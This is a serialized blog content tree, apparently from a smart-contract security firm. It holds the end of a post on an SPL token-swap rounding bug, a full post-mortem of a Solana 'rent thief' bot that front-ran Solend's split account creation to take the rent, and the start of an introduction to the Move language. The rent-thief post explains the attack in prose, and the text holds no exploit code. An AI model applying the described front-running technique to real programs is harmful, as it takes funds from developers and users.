8912,8916,8920,8924,8928,8932],{"type":25,"tag":216,"props":8836,"children":8837},{"style":6947},[8838],{"type":31,"value":8270},{"type":25,"tag":216,"props":8840,"children":8841},{"style":6947},[8842],{"type":31,"value":7110},{"type":25,"tag":216,"props":8844,"children":8845},{"style":7041},[8846],{"type":31,"value":8847},"checked_div",{"type":25,"tag":216,"props":8849,"children":8850},{"style":6958},[8851],{"type":31,"value":1844},{"type":25,"tag":216,"props":8853,"children":8854},{"style":7041},[8855],{"type":31,"value":7124},{"type":25,"tag":216,"props":8857,"children":8858},{"style":6958},[8859],{"type":31,"value":1844},{"type":25,"tag":216,"props":8861,"children":8862},{"style":6947},[8863],{"type":31,"value":7053},{"type":25,"tag":216,"props":8865,"children":8866},{"style":6941},[8867],{"type":31,"value":7058},{"type":25,"tag":216,"props":8869,"children":8870},{"style":6958},[8871],{"type":31,"value":7020},{"type":25,"tag":216,"props":8873,"children":8874},{"style":6983},[8875],{"type":31,"value":331},{"type":25,"tag":216,"props":8877,"children":8878},{"style":6958},[8879],{"type":31,"value":1882},{"type":25,"tag":216,"props":8881,"children":8882},{"style":6947},[8883],{"type":31,"value":7075},{"type":25,"tag":216,"props":8885,"children":8886},{"style":7041},[8887],{"type":31,"value":7080},{"type":25,"tag":216,"props":8889,"children":8890},{"style":6958},[8891],{"type":31,"value":1844},{"type":25,"tag":216,"props":8893,"children":8894},{"style":6941},[8895],{"type":31,"value":7165},{"type":25,"tag":216,"props":8897,"children":8898},{"style":6958},[8899],{"type":31,"value":1882},{"type":25,"tag":216,"props":8901,"children":8902},{"style":6947},[8903],{"type":31,"value":7075},{"type":25,"tag":216,"props":8905,"children":8906},{"style":7041},[8907],{"type":31,"value":7178},{"type":25,"tag":216,"props":8909,"children":8910},{"style":6958},[8911],{"type":31,"value":1844},{"type":25,"tag":216,"props":8913,"children":8914},{"style":6941},[8915],{"type":31,"value":7187},{"type":25,"tag":216,"props":8917,"children":8918},{"style":6958},[8919],{"type":31,"value":1882},{"type":25,"tag":216,"props":8921,"children":8922},{"style":6947},[8923],{"type":31,"value":605},{"type":25,"tag":216,"props":8925,"children":8926},{"style":6958},[8927],{"type":31,"value":1882},{"type":25,"tag":216,"props":8929,"children":8930},{"style":6947},[8931],{"type":31,"value":605},{"type":25,"tag":216,"props":8933,"children":8934},{"style":6958},[8935],{"type":31,"value":6961},{"type":25,"tag":216,"props":8937,"children":8938},{"class":6916,"line":7251},[8939,8943,8947,8951,8955,8959],{"type":25,"tag":216,"props":8940,"children":8941},{"style":6947},[8942],{"type":31,"value":8270},{"type":25,"tag":216,"props":8944,"children":8945},{"style":6967},[8946],{"type":31,"value":7216},{"type":25,"tag":216,"props":8948,"children":8949},{"style":6941},[8950],{"type":31,"value":6944},{"type":25,"tag":216,"props":8952,"children":8953},{"style":6947},[8954],{"type":31,"value":7226},{"type":25,"tag":216,"props":8956,"children":8957},{"style":6941},[8958],{"type":31,"value":8663},{"type":25,"tag":216,"props":8960,"children":8961},{"style":6958},[8962],{"type":31,"value":7235},{"type":25,"tag":216,"props":8964,"children":8965},{"class":6916,"line":7269},[8966,8970,8974,8978,8982,8986,8990,8994,8998,9002,9006,9010,9014,9018,9022,9026,9030,9034,9038,9042,9046,9050,9054],{"type":25,"tag":216,"props":8967,"children":8968},{"style":6947},[8969],{"type":31,"value":3533},{"type":25,"tag":216,"props":8971,"children":8972},{"style":6930},[8973],{"type":31,"value":7005},{"type":25,"tag":216,"props":8975,"children":8976},{"style":6958},[8977],{"type":31,"value":7010},{"type":25,"tag":216,"props":8979,"children":8980},{"style":6941},[8981],{"type":31,"value":7015},{"type":25,"tag":216,"props":8983,"children":8984},{"style":6958},[8985],{"type":31,"value":7020},{"type":25,"tag":216,"props":8987,"children":8988},{"style":6941},[8989],{"type":31,"value":7025},{"type":25,"tag":216,"props":8991,"children":8992},{"style":6958},[8993],{"type":31,"value":7030},{"type":25,"tag":216,"props":8995,"children":8996},{"style":6947},[8997],{"type":31,"value":266},{"type":25,"tag":216,"props":8999,"children":9000},{"style":6958},[9001],{"type":31,"value":7010},{"type":25,"tag":216,"props":9003,"children":9004},{"style":7041},[9005],{"type":31,"value":7044},{"type":25,"tag":216,"props":9007,"children":9008},{"style":6958},[9009],{"type":31,"value":1844},{"type":25,"tag":216,"props":9011,"children":9012},{"style":6947},[9013],{"type":31,"value":7053},{"type":25,"tag":216,"props":9015,"children":9016},{"style":6941},[9017],{"type":31,"value":7058},{"type":25,"tag":216,"props":9019,"children":9020},{"style":6958},[9021],{"type":31,"value":7020},{"type":25,"tag":216,"props":9023,"children":9024},{"style":6983},[9025],{"type":31,"value":331},{"type":25,"tag":216,"props":9027,"children":9028},{"style":6958},[9029],{"type":31,"value":1882},{"type":25,"tag":216,"props":9031,"children":9032},{"style":6947},[9033],{"type":31,"value":7075},{"type":25,"tag":216,"props":9035,"children":9036},{"style":7041},[9037],{"type":31,"value":7080},{"type":25,"tag":216,"props":9039,"children":9040},{"style":6958},[9041],{"type":31,"value":1844},{"type":25,"tag":216,"props":9043,"children":9044},{"style":6941},[9045],{"type":31,"value":2248},{"type":25,"tag":216,"props":9047,"children":9048},{"style":6958},[9049],{"type":31,"value":1882},{"type":25,"tag":216,"props":9051,"children":9052},{"style":6947},[9053],{"type":31,"value":605},{"type":25,"tag":216,"props":9055,"children":9056},{"style":6958},[9057],{"type":31,"value":7101},{"type":25,"tag":216,"props":9059,"children":9060},{"class":6916,"line":7290},[9061,9065,9069,9073,9077,9081,9085,9089,9093,9097,9101,9105,9109,9113,9117,9121,9125,9129,9133,9137,9141,9145,9149,9153,9157],{"type":25,"tag":216,"props":9062,"children":9063},{"style":6947},[9064],{"type":31,"value":3533},{"type":25,"tag":216,"props":9066,"children":9067},{"style":6947},[9068],{"type":31,"value":7110},{"type":25,"tag":216,"props":9070,"children":9071},{"style":7041},[9072],{"type":31,"value":7115},{"type":25,"tag":216,"props":9074,"children":9075},{"style":6958},[9076],{"type":31,"value":1844},{"type":25,"tag":216,"props":9078,"children":9079},{"style":7041},[9080],{"type":31,"value":7124},{"type":25,"tag":216,"props":9082,"children":9083},{"style":6958},[9084],{"type":31,"value":1844},{"type":25,"tag":216,"props":9086,"children":9087},{"style":6947},[9088],{"type":31,"value":7053},{"type":25,"tag":216,"props":9090,"children":9091},{"style":6941},[9092],{"type":31,"value":7058},{"type":25,"tag":216,"props":9094,"children":9095},{"style":6958},[9096],{"type":31,"value":7020},{"type":25,"tag":216,"props":9098,"children":9099},{"style":6983},[9100],{"type":31,"value":331},{"type":25,"tag":216,"props":9102,"children":9103},{"style":6958},[9104],{"type":31,"value":1882},{"type":25,"tag":216,"props":9106,"children":9107},{"style":6947},[9108],{"type":31,"value":7075},{"type":25,"tag":216,"props":9110,"children":9111},{"style":7041},[9112],{"type":31,"value":7080},{"type":25,"tag":216,"props":9114,"children":9115},{"style":6958},[9116],{"type":31,"value":1844},{"type":25,"tag":216,"props":9118,"children":9119},{"style":6941},[9120],{"type":31,"value":7165},{"type":25,"tag":216,"props":9122,"children":9123},{"style":6958},[9124],{"type":31,"value":1882},{"type":25,"tag":216,"props":9126,"children":9127},{"style":6947},[9128],{"type":31,"value":7075},{"type":25,"tag":216,"props":9130,"children":9131},{"style":7041},[9132],{"type":31,"value":7178},{"type":25,"tag":216,"props":9134,"children":9135},{"style":6958},[9136],{"type":31,"value":1844},{"type":25,"tag":216,"props":9138,"children":9139},{"style":6941},[9140],{"type":31,"value":7187},{"type":25,"tag":216,"props":9142,"children":9143},{"style":6958},[9144],{"type":31,"value":1882},{"type":25,"tag":216,"props":9146,"children":9147},{"style":6947},[9148],{"type":31,"value":605},{"type":25,"tag":216,"props":9150,"children":9151},{"style":6958},[9152],{"type":31,"value":1882},{"type":25,"tag":216,"props":9154,"children":9155},{"style":6947},[9156],{"type":31,"value":605},{"type":25,"tag":216,"props":9158,"children":9159},{"style":6958},[9160],{"type":31,"value":6961},{"type":25,"tag":216,"props":9162,"children":9163},{"class":6916,"line":7299},[9164,9168,9172,9176,9180,9184],{"type":25,"tag":216,"props":9165,"children":9166},{"style":6947},[9167],{"type":31,"value":3533},{"type":25,"tag":216,"props":9169,"children":9170},{"style":6967},[9171],{"type":31,"value":7216},{"type":25,"tag":216,"props":9173,"children":9174},{"style":6941},[9175],{"type":31,"value":7221},{"type":25,"tag":216,"props":9177,"children":9178},{"style":6947},[9179],{"type":31,"value":7226},{"type":25,"tag":216,"props":9181,"children":9182},{"style":6941},[9183],{"type":31,"value":6944},{"type":25,"tag":216,"props":9185,"children":9186},{"style":6958},[9187],{"type":31,"value":7235},{"type":25,"tag":216,"props":9189,"children":9190},{"class":6916,"line":7551},[9191,9196],{"type":25,"tag":216,"props":9192,"children":9193},{"style":6967},[9194],{"type":31,"value":9195},"             break",{"type":25,"tag":216,"props":9197,"children":9198},{"style":6958},[9199],{"type":31,"value":6961},{"type":25,"tag":216,"props":9201,"children":9202},{"class":6916,"line":7568},[9203,9207,9211,9215],{"type":25,"tag":216,"props":9204,"children":9205},{"style":6947},[9206],{"type":31,"value":3533},{"type":25,"tag":216,"props":9208,"children":9209},{"style":6958},[9210],{"type":31,"value":7257},{"type":25,"tag":216,"props":9212,"children":9213},{"style":6967},[9214],{"type":31,"value":7262},{"type":25,"tag":216,"props":9216,"children":9217},{"style":6958},[9218],{"type":31,"value":7235},{"type":25,"tag":216,"props":9220,"children":9221},{"class":6916,"line":7585},[9222,9226,9230,9234,9238],{"type":25,"tag":216,"props":9223,"children":9224},{"style":6947},[9225],{"type":31,"value":3533},{"type":25,"tag":216,"props":9227,"children":9228},{"style":6941},[9229],{"type":31,"value":7275},{"type":25,"tag":216,"props":9231,"children":9232},{"style":6947},[9233],{"type":31,"value":6950},{"type":25,"tag":216,"props":9235,"children":9236},{"style":6941},[9237],{"type":31,"value":7221},{"type":25,"tag":216,"props":9239,"children":9240},{"style":6958},[9241],{"type":31,"value":6961},{"type":25,"tag":216,"props":9243,"children":9244},{"class":6916,"line":7598},[9245],{"type":25,"tag":216,"props":9246,"children":9247},{"style":6958},[9248],{"type":31,"value":9249},"         }\n",{"type":25,"tag":26,"props":9251,"children":9253},{"id":9252},"closing-thoughts",[9254],{"type":31,"value":9255},"Closing Thoughts",{"type":25,"tag":38,"props":9257,"children":9258},{},[9259],{"type":31,"value":9260},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":25,"tag":38,"props":9262,"children":9263},{},[9264,9266,9272],{"type":31,"value":9265},"Another interesting takeaway is that ",{"type":25,"tag":9267,"props":9268,"children":9269},"strong",{},[9270],{"type":31,"value":9271},"fuzzing can give a false sense of security",{"type":31,"value":9273},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":25,"tag":38,"props":9275,"children":9276},{},[9277,9279,9286],{"type":31,"value":9278},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":25,"tag":162,"props":9280,"children":9283},{"href":9281,"rel":9282},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[166],[9284],{"type":31,"value":9285},"port-mortem of the NSS overflow",{"type":31,"value":179},{"type":25,"tag":38,"props":9288,"children":9289},{},[9290],{"type":25,"tag":6461,"props":9291,"children":9293},{"alt":7,"src":9292},"/posts/spl-swap/p0.png",[],{"type":25,"tag":38,"props":9295,"children":9296},{},[9297],{"type":31,"value":9298},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":25,"tag":38,"props":9300,"children":9301},{},[9302],{"type":31,"value":9303},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":25,"tag":38,"props":9305,"children":9306},{},[9307],{"type":31,"value":9308},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":25,"tag":9310,"props":9311,"children":9312},"style",{},[9313],{"type":31,"value":9314},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":6763,"depth":6763,"links":9316},[9317,9318,9319,9320],{"id":6847,"depth":6763,"text":6850},{"id":7891,"depth":6763,"text":7894},{"id":8167,"depth":6763,"text":8170},{"id":9252,"depth":6763,"text":9255},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":9325,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":9326,"description":9327,"image":9328,"date":9332,"isFeatured":16,"onBlogPage":16,"tags":9333,"body":9334,"_type":6792,"_id":9657,"_source":6794,"_file":9658,"_stem":9659,"_extension":6797},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":9329,"width":9330,"height":9331},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[6809,6810],{"type":22,"children":9335,"toc":9650},[9336,9341,9347,9352,9357,9362,9368,9381,9428,9458,9467,9472,9477,9482,9488,9501,9517,9522,9527,9542,9546,9551,9566,9573,9578,9588,9595,9599,9604,9610,9615,9620,9625,9631,9636],{"type":25,"tag":38,"props":9337,"children":9338},{},[9339],{"type":31,"value":9340},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":25,"tag":26,"props":9342,"children":9344},{"id":9343},"background",[9345],{"type":31,"value":9346},"Background",{"type":25,"tag":38,"props":9348,"children":9349},{},[9350],{"type":31,"value":9351},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":25,"tag":38,"props":9353,"children":9354},{},[9355],{"type":31,"value":9356},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":25,"tag":38,"props":9358,"children":9359},{},[9360],{"type":31,"value":9361},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":25,"tag":26,"props":9363,"children":9365},{"id":9364},"the-exploit",[9366],{"type":31,"value":9367},"The Exploit",{"type":25,"tag":38,"props":9369,"children":9370},{},[9371,9373,9379],{"type":31,"value":9372},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":25,"tag":82,"props":9374,"children":9376},{"className":9375},[],[9377],{"type":31,"value":9378},"init_reserve",{"type":31,"value":9380}," function, which creates 6 new accounts to store data about the reserve:",{"type":25,"tag":6705,"props":9382,"children":9383},{},[9384,9389,9394,9399,9410,9415],{"type":25,"tag":2037,"props":9385,"children":9386},{},[9387],{"type":31,"value":9388},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":25,"tag":2037,"props":9390,"children":9391},{},[9392],{"type":31,"value":9393},"reserve liquidity token account - holds deposited tokens",{"type":25,"tag":2037,"props":9395,"children":9396},{},[9397],{"type":31,"value":9398},"fee receiver token account - account which will receive origination fees on borrows",{"type":25,"tag":2037,"props":9400,"children":9401},{},[9402,9404],{"type":31,"value":9403},"reserve collateral mint account - deposit receipt token, also known as ",{"type":25,"tag":82,"props":9405,"children":9407},{"className":9406},[],[9408],{"type":31,"value":9409},"cTokens",{"type":25,"tag":2037,"props":9411,"children":9412},{},[9413],{"type":31,"value":9414},"reserve collateral token account - holds users' collateral tokens",{"type":25,"tag":2037,"props":9416,"children":9417},{},[9418,9420,9426],{"type":31,"value":9419},"creator collateral token account - creator's ",{"type":25,"tag":82,"props":9421,"children":9423},{"className":9422},[],[9424],{"type":31,"value":9425},"cToken",{"type":31,"value":9427}," account",{"type":25,"tag":38,"props":9429,"children":9430},{},[9431,9433,9438,9440,9445,9446,9451,9453],{"type":31,"value":9432},"Account creation and initialization are ",{"type":25,"tag":64,"props":9434,"children":9435},{},[9436],{"type":31,"value":9437},"usually",{"type":31,"value":9439}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":25,"tag":82,"props":9441,"children":9443},{"className":9442},[],[9444],{"type":31,"value":9378},{"type":31,"value":1674},{"type":25,"tag":64,"props":9447,"children":9448},{},[9449],{"type":31,"value":9450},"supposed",{"type":31,"value":9452}," to look like:\n",{"type":25,"tag":6461,"props":9454,"children":9457},{"src":9455,"alt":9456},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":25,"tag":38,"props":9459,"children":9460},{},[9461,9463],{"type":31,"value":9462},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":25,"tag":6461,"props":9464,"children":9466},{"src":9465,"alt":9456},"/posts/rent-thief/attacktransac.png",[],{"type":25,"tag":38,"props":9468,"children":9469},{},[9470],{"type":31,"value":9471},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":25,"tag":38,"props":9473,"children":9474},{},[9475],{"type":31,"value":9476},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":25,"tag":38,"props":9478,"children":9479},{},[9480],{"type":31,"value":9481},"Despite this lost cost, this is pretty annoying...",{"type":25,"tag":26,"props":9483,"children":9485},{"id":9484},"example",[9486],{"type":31,"value":9487},"Example",{"type":25,"tag":38,"props":9489,"children":9490},{},[9491,9493,9500],{"type":31,"value":9492},"Let's take a look at ",{"type":25,"tag":162,"props":9494,"children":9497},{"href":9495,"rel":9496},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[166],[9498],{"type":31,"value":9499},"a real attack",{"type":31,"value":179},{"type":25,"tag":38,"props":9502,"children":9503},{},[9504,9511,9513],{"type":25,"tag":162,"props":9505,"children":9508},{"href":9506,"rel":9507},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[166],[9509],{"type":31,"value":9510},"Transaction 1",{"type":31,"value":9512},":\n",{"type":25,"tag":6461,"props":9514,"children":9516},{"alt":7,"src":9515},"https://i.imgur.com/xJvIwgc.png",[],{"type":25,"tag":38,"props":9518,"children":9519},{},[9520],{"type":31,"value":9521},"(...more accounts truncated)",{"type":25,"tag":38,"props":9523,"children":9524},{},[9525],{"type":31,"value":9526},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":25,"tag":38,"props":9528,"children":9529},{},[9530,9537,9538],{"type":25,"tag":162,"props":9531,"children":9534},{"href":9532,"rel":9533},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[166],[9535],{"type":31,"value":9536},"Attacker's Transaction",{"type":31,"value":9512},{"type":25,"tag":6461,"props":9539,"children":9541},{"alt":7,"src":9540},"https://i.imgur.com/CpSKuL3.png",[],{"type":25,"tag":38,"props":9543,"children":9544},{},[9545],{"type":31,"value":9521},{"type":25,"tag":38,"props":9547,"children":9548},{},[9549],{"type":31,"value":9550},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":25,"tag":38,"props":9552,"children":9553},{},[9554,9561,9562],{"type":25,"tag":162,"props":9555,"children":9558},{"href":9556,"rel":9557},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[166],[9559],{"type":31,"value":9560},"Transaction 2",{"type":31,"value":9512},{"type":25,"tag":6461,"props":9563,"children":9565},{"alt":7,"src":9564},"https://i.imgur.com/of0GIdw.png",[],{"type":25,"tag":38,"props":9567,"children":9568},{},[9569],{"type":25,"tag":6461,"props":9570,"children":9572},{"alt":7,"src":9571},"https://i.imgur.com/0STSyv8.png",[],{"type":25,"tag":38,"props":9574,"children":9575},{},[9576],{"type":31,"value":9577},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":25,"tag":38,"props":9579,"children":9580},{},[9581,9587],{"type":25,"tag":162,"props":9582,"children":9585},{"href":9583,"rel":9584},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[166],[9586],{"type":31,"value":9536},{"type":31,"value":1466},{"type":25,"tag":38,"props":9589,"children":9590},{},[9591],{"type":25,"tag":6461,"props":9592,"children":9594},{"alt":7,"src":9593},"https://i.imgur.com/AmSPdmy.png",[],{"type":25,"tag":38,"props":9596,"children":9597},{},[9598],{"type":31,"value":9521},{"type":25,"tag":38,"props":9600,"children":9601},{},[9602],{"type":31,"value":9603},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":25,"tag":26,"props":9605,"children":9607},{"id":9606},"impact",[9608],{"type":31,"value":9609},"Impact",{"type":25,"tag":38,"props":9611,"children":9612},{},[9613],{"type":31,"value":9614},"Rent-thieving attacks don't steal much money.",{"type":25,"tag":38,"props":9616,"children":9617},{},[9618],{"type":31,"value":9619},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":25,"tag":38,"props":9621,"children":9622},{},[9623],{"type":31,"value":9624},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":25,"tag":26,"props":9626,"children":9628},{"id":9627},"solution",[9629],{"type":31,"value":9630},"Solution",{"type":25,"tag":38,"props":9632,"children":9633},{},[9634],{"type":31,"value":9635},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":25,"tag":38,"props":9637,"children":9638},{},[9639,9641,9648],{"type":31,"value":9640},"As a more permenant solution, Solend implemented ",{"type":25,"tag":162,"props":9642,"children":9645},{"href":9643,"rel":9644},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[166],[9646],{"type":31,"value":9647},"an onchain program",{"type":31,"value":9649}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":6763,"depth":6763,"links":9651},[9652,9653,9654,9655,9656],{"id":9343,"depth":6763,"text":9346},{"id":9364,"depth":6763,"text":9367},{"id":9484,"depth":6763,"text":9487},{"id":9606,"depth":6763,"text":9609},{"id":9627,"depth":6763,"text":9630},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":9661,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":9662,"description":9663,"author":9664,"image":9665,"date":9669,"isFeatured":16,"onBlogPage":16,"body":9670,"_type":6792,"_id":13206,"_source":6794,"_file":13207,"_stem":13208,"_extension":6797},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":9666,"height":9667,"width":9668},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":22,"children":9671,"toc":13201},[9672,9677,9682,9701,9707,9719,9818,9826,9945,9953,9975,10128,10133,10391,10413,10448,10453,10473,10478,10489,10501,10713,10725,10739,10752,11009,11021,11243,11248,11275,11421,11440,11445,11710,11722,11727,11740,11746,11751,11756,11768,11782,11787,11886,11898,11911,12185,12190,12202,12207,12261,12281,12286,13170,13174,13179,13184,13197],{"type":25,"tag":38,"props":9673,"children":9674},{},[9675],{"type":31,"value":9676},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":25,"tag":38,"props":9678,"children":9679},{},[9680],{"type":31,"value":9681},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":25,"tag":38,"props":9683,"children":9684},{},[9685,9687,9692,9694,9699],{"type":31,"value":9686},"In this piece I'll seek to discuss exactly ",{"type":25,"tag":64,"props":9688,"children":9689},{},[9690],{"type":31,"value":9691},"how",{"type":31,"value":9693}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":25,"tag":64,"props":9695,"children":9696},{},[9697],{"type":31,"value":9698},"structurally",{"type":31,"value":9700}," safer programs.",{"type":25,"tag":26,"props":9702,"children":9704},{"id":9703},"types",[9705],{"type":31,"value":9706},"Types",{"type":25,"tag":38,"props":9708,"children":9709},{},[9710,9712,9718],{"type":31,"value":9711},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":25,"tag":82,"props":9713,"children":9715},{"className":9714},[],[9716],{"type":31,"value":9717},"coin.move",{"type":31,"value":179},{"type":25,"tag":206,"props":9720,"children":9722},{"className":6909,"code":9721,"language":6908,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[9723],{"type":25,"tag":82,"props":9724,"children":9725},{"__ignoreMap":7},[9726,9734,9781,9789,9810],{"type":25,"tag":216,"props":9727,"children":9728},{"class":6916,"line":6917},[9729],{"type":25,"tag":216,"props":9730,"children":9731},{"style":6921},[9732],{"type":31,"value":9733},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":25,"tag":216,"props":9735,"children":9736},{"class":6916,"line":6763},[9737,9742,9747,9752,9757,9762,9767,9772,9777],{"type":25,"tag":216,"props":9738,"children":9739},{"style":6930},[9740],{"type":31,"value":9741},"  struct",{"type":25,"tag":216,"props":9743,"children":9744},{"style":7369},[9745],{"type":31,"value":9746}," Coin",{"type":25,"tag":216,"props":9748,"children":9749},{"style":6958},[9750],{"type":31,"value":9751},"\u003C",{"type":25,"tag":216,"props":9753,"children":9754},{"style":6941},[9755],{"type":31,"value":9756},"phantom",{"type":25,"tag":216,"props":9758,"children":9759},{"style":7369},[9760],{"type":31,"value":9761}," CoinType",{"type":25,"tag":216,"props":9763,"children":9764},{"style":6958},[9765],{"type":31,"value":9766},"> ",{"type":25,"tag":216,"props":9768,"children":9769},{"style":6941},[9770],{"type":31,"value":9771},"has",{"type":25,"tag":216,"props":9773,"children":9774},{"style":6941},[9775],{"type":31,"value":9776}," store",{"type":25,"tag":216,"props":9778,"children":9779},{"style":6958},[9780],{"type":31,"value":7235},{"type":25,"tag":216,"props":9782,"children":9783},{"class":6916,"line":6772},[9784],{"type":25,"tag":216,"props":9785,"children":9786},{"style":6921},[9787],{"type":31,"value":9788},"      /// Amount of coin this address has.\n",{"type":25,"tag":216,"props":9790,"children":9791},{"class":6916,"line":6999},[9792,9797,9801,9806],{"type":25,"tag":216,"props":9793,"children":9794},{"style":6941},[9795],{"type":31,"value":9796},"      value",{"type":25,"tag":216,"props":9798,"children":9799},{"style":6947},[9800],{"type":31,"value":1466},{"type":25,"tag":216,"props":9802,"children":9803},{"style":7369},[9804],{"type":31,"value":9805}," u64",{"type":25,"tag":216,"props":9807,"children":9808},{"style":6958},[9809],{"type":31,"value":7459},{"type":25,"tag":216,"props":9811,"children":9812},{"class":6916,"line":7104},[9813],{"type":25,"tag":216,"props":9814,"children":9815},{"style":6958},[9816],{"type":31,"value":9817},"  }\n",{"type":25,"tag":38,"props":9819,"children":9820},{},[9821],{"type":25,"tag":64,"props":9822,"children":9823},{},[9824],{"type":31,"value":9825},"aptos",{"type":25,"tag":206,"props":9827,"children":9829},{"className":6909,"code":9828,"language":6908,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[9830],{"type":25,"tag":82,"props":9831,"children":9832},{"__ignoreMap":7},[9833,9841,9891,9908,9938],{"type":25,"tag":216,"props":9834,"children":9835},{"class":6916,"line":6917},[9836],{"type":25,"tag":216,"props":9837,"children":9838},{"style":6921},[9839],{"type":31,"value":9840},"  /// A coin of type `T` worth `value`. Transferable and 